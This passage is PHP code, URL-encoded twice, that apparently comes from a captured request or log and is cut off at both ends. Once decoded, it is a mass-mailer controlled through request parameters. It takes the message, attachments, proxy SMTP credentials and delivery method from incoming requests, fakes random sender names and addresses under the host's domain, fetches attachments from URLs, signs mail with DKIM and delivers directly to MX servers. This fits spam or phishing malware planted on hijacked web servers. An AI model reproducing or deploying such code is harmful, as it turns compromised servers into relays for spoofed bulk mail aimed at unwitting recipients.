253D%2520%2524this-%253Eprocess_macros_random%2528%2524r_subject%252C%2520%2524data%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520%2524_REQUEST%255B%2527m%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524r_message%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520%2524this-%253Eprocess_macros_random%2528%2524r_message%252C%2520%2524data%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esend_email%2528%2524email%252C%2520%2524from_name%252C%2520%2524from_addr%252C%2520%2524r_subject%252C%2520%2524r_message%252C%2520%2524r_replyto%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Asend%253Abad%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Asend%253Aok%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_email%2528%2524to%252C%2520%2524from_name%252C%2520%2524from_addr%252C%2520%2524subject%252C%2520%2524message%252C%2520%2524replyto%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_FILES%255B%2527attachment%2527%255D%2529%2520%2526%2526%2520%2521%2524_FILES%255B%2527attachment%2527%255D%255B%2527error%2527%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524file_string%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524filename%2520%2520%2520%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_FILES%255B%2527file%2527%255D%2529%2520%2526%2526%2520%2540is_file%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_string%2520%2520%2520%2520%253D%2520%2524this-%253Efile_string%2528%2524_FILES%255B%2527file%2527%255D%255B%2527name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524filename%2520%2520%2520%2520%2520%2520%2520%253D%2520isset%2528%2524_REQUEST%255B%2527fn%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527fn%2527%255D%2520%253A%2520%2524_FILES%255B%2527file%2527%255D%255B%2527name%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524this-%253Eattachment_array%2529%2520%2526%2526%2520is_array%2528%2524this-%253Eattachment_array%2529%2520%2526%2526%2520count%2528%2524this-%253Eattachment_array%2529%2520%253E%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524content_type%2520%253D%2520%2524has_attachment%2520%253F%2520%2527multipart/mixed%2527%2520%253A%2520%2527multipart/alternative%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%2520%253D%2520%2524from_name%2520%253F%2520%2524from_name%2520%253A%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%2520%253D%2520%2524from_addr%2520%253F%2520%2524from_addr%2520%253A%2520str_replace%2528%2527%2520%2527%252C%2520%2527%2527%252C%2520%2524from_name%2529.%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_null%2528%2524replyto%2529%2520%2526%2526%2520strpos%2528%2524replyto%252C%2520%2527%2540%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524replyto%2520.%253D%2520%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524type%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2528isset%2528%2524_REQUEST%255B%2527tp%2527%255D%2529%2520%2526%2526%2520%2524_REQUEST%255B%2527tp%2527%255D%2520%253D%253D%2520%25271%2527%2529%2520%253F%2520%2527text/html%2527%2520%253A%2520%2527text/plain%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524boundary_mixed%2520%253D%2520md5%2528time%2528%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524boundary_alt%2520%2520%2520%253D%2520md5%2528time%2528%2529%2520%252B%25201%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%252C%2520%2524replyto%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Eunsubscribe%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2527List-Unsubscribe%253A%2520%253Cmailto%253A%2527.%2524from_addr.%2522%253E%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524has_attachment%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Content-Type%253A%2520%2524content_type%253B%2520boundary%253D%255C%2522%2524boundary_alt%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/plain%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524this-%253Ecut_tags%2528%2524message%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524type%2520%253D%253D%2520%2527text/html%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524message%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_alt--%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Content-Type%253A%2520%2524content_type%253B%2520boundary%253D%255C%2522%2524boundary_mixed%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%253D%2520%2522--%2524boundary_mixed%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Type%253A%2520multipart/alternative%253B%2520boundary%253D%255C%2522%2524boundary_alt%255C%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/plain%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524this-%253Ecut_tags%2528%2524message%2529%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524type%2520%253D%253D%2520%2527text/html%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524message%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt--%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file_string%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed%255Cr%255CnContent-Type%253A%2520%2522.%2524_FILES%255B%2527file%2527%255D%255B%2527type%2527%255D.%2522%253B%2520name%253D%255C%2522%2524filename%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Disposition%253A%2520attachment%253B%2520filename%253D%255C%2522%2524filename%255C%2522%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255CnX-Attachment-Id%253A%2520%2522.rand%25281000%252C%252099999%2529.%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524file_string%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Eattachment_array%2520%2526%2526%2520is_array%2528%2524this-%253Eattachment_array%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524this-%253Eattachment_array%2520as%2520%2524attach%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521isset%2528%2524attach%255B0%255D%2529%2520%257C%257C%2520%2521isset%2528%2524attach%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524attach%255B1%255D%2520%253D%2520trim%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_cont%2520%253D%2520%2524this-%253Edownload_source%2528%2524attach%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file_cont%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2524attach%255B1%255D%252C%2520%2524file_cont%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524attach%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_data%2520%253D%2520%2540file_get_contents%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mtype%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_mime_type%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed%255Cr%255CnContent-Type%253A%2520%2522.%2524mtype.%2522%253B%2520name%253D%255C%2522%2522.%2524attach%255B1%255D.%2522%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Disposition%253A%2520attachment%253B%2520filename%253D%255C%2522%2522.%2524attach%255B1%255D.%2522%255C%2522%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255CnX-Attachment-Id%253A%2520%2522.rand%25281000%252C%252099999%2529.%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524file_data%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed--%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527iconv%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524subject_enc%2520%253D%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2540iconv%2528%2527UTF-8%2527%252C%2520%2524this-%253Eencoding%252C%2520%2524subject%2529%2529.%2522%253F%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524subject_enc%2520%253D%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2524subject%2529.%2522%253F%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Ebasedomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subject_enc%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sent%2520%2526%2526%2520%2524this-%253Ebasedomain%2520%2521%253D%2520%2524this-%253Efulldomain%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520str_replace%2528%2527%2540%2527.%2524this-%253Ebasedomain%252C%2520%2527%2540%2527.%2524this-%253Efulldomain%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%253D%2520str_replace%2528%2527%2540%2527.%2524this-%253Ebasedomain%252C%2520%2527%2540%2527.%2524this-%253Efulldomain%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Efulldomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subject_enc%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sent%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_email_method%2528%2524domain%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524subject%252C%2520%2524body%252C%2520%2524headers%2520%253D%2520%2522%2522%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524methods%2520%253D%2520%2528isset%2528%2524_REQUEST%255B%2527sm%2527%255D%2529%2520%2526%2526%2520is_array%2528%2524_REQUEST%255B%2527sm%2527%255D%2529%2529%2520%253F%2520%2524_REQUEST%255B%2527sm%2527%255D%2520%253A%2520array%2528%2527mail%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520ksort%2528%2524methods%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%253D%2520trim%2528%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EFrom%253A/mi%2527%252C%2520%2524headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2528%2524headers%2520%253F%2520%2522%255Cr%255Cn%2522%2520%253A%2520%2522%2522%2529.%2522From%253A%2520%2522.%2524mail_from.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EDate%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Date%253A%2520%2522.%2524this-%253Eget_header_date%2528%2529.%2522%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EMessage-ID%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Message-ID%253A%2520%253C%2522.%2524this-%253Eget_header_message_id%2528%2524domain%2529.%2522%253E%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255ETo%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520.%253D%2520%2528%2524headers_fd%2520%253F%2520%2522%255Cr%255Cn%2522%2520%253A%2520%2522%2522%2529.%2522To%253A%2520%2522.%2524to%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255ESubject%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Subject%253A%2520%2522.%2524subject.%2522%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524methods%2520as%2520%2524m%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522proxy%2522%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2527ph%2527%255D%252C%2520%2524_REQUEST%255B%2527pp%2527%255D%252C%2520%2524_REQUEST%255B%2527pl%2527%255D%252C%2520%2524_REQUEST%255B%2527pw%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524_REQUEST%255B%2527ph%2527%255D%252C%2520%2528int%2529%2524_REQUEST%255B%2527pp%2527%255D%252C%2520%2524_REQUEST%255B%2527pp%2527%255D%2520%253D%253D%2520%2527465%2527%2520%253F%2520%2527ssl%2527%2520%253A%2520null%252C%252010%252C%2520true%252C%2520true%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_auth_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%252C%2520%2524_REQUEST%255B%2527pl%2527%255D%252C%2520%2524_REQUEST%255B%2527pw%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Aproxy%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522force%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Etry_sign_dkim%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524dkim_data%2520.%2520%2524this-%253Eeol%2520.%2520%2522.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527smh%2527%255D%252C%2520%2524_REQUEST%255B%2527smp%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2524_REQUEST%255B%2527smh%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524port%2520%253D%2520%2528int%2529%2524_REQUEST%255B%2527smp%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enc%2520%253D%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524port%2520%253D%253D%2520465%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enc%2520%253D%2520%2527ssl%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2524host%252C%2522port%2522%253D%253E%2524port%252C%2522enc%2522%253D%253E%2524enc%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_list%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%25